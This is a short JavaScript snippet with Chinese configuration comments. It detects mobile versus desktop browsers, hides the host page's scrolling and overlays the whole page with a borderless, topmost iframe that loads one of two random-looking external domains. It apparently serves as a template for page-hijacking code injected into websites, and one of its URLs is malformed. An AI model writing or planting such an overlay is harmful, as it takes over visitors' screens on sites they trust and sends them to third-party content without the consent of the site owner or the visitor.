(function() { // ================= 链接配置区 ================= var mobileUrl = 'https://mmm.l0k9l5h3.com '; // 这里填【手机端】链接 var pcUrl = 'https:///ff.l0k9l5h3.com '; // 这里填【PC端】链接 // ============================================== var ua = navigator.userAgent.toLowerCase(); // 识别手机及平板设备(包含苹果、安卓、鸿蒙及常见移动端标识) var isMobile = /iphone|ipad|ipod|android|harmonyos|windows phone|blackberry|bb10|mobile|wap|webos|symbian|midp/i.test(ua) || (navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1); // 兼容新版 iPad // 1. 注入移动端视口与全屏无边距样式 var meta = document.createElement('meta'); meta.name = 'viewport'; meta.content = 'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no'; document.head.appendChild(meta); var style = document.createElement('style'); style.textContent = 'html, body { width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden; }'; document.head.appendChild(style); // 2. 创建并挂载全屏 iframe var iframe = document.createElement('iframe'); iframe.src = isMobile ? mobileUrl : pcUrl; iframe.style.cssText = 'position:fixed; top:0; left:0; width:100%; height:100%; border:none; z-index:999999999; background:#fff;'; // 确保 body 加载后再插入 if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(iframe); }); } })();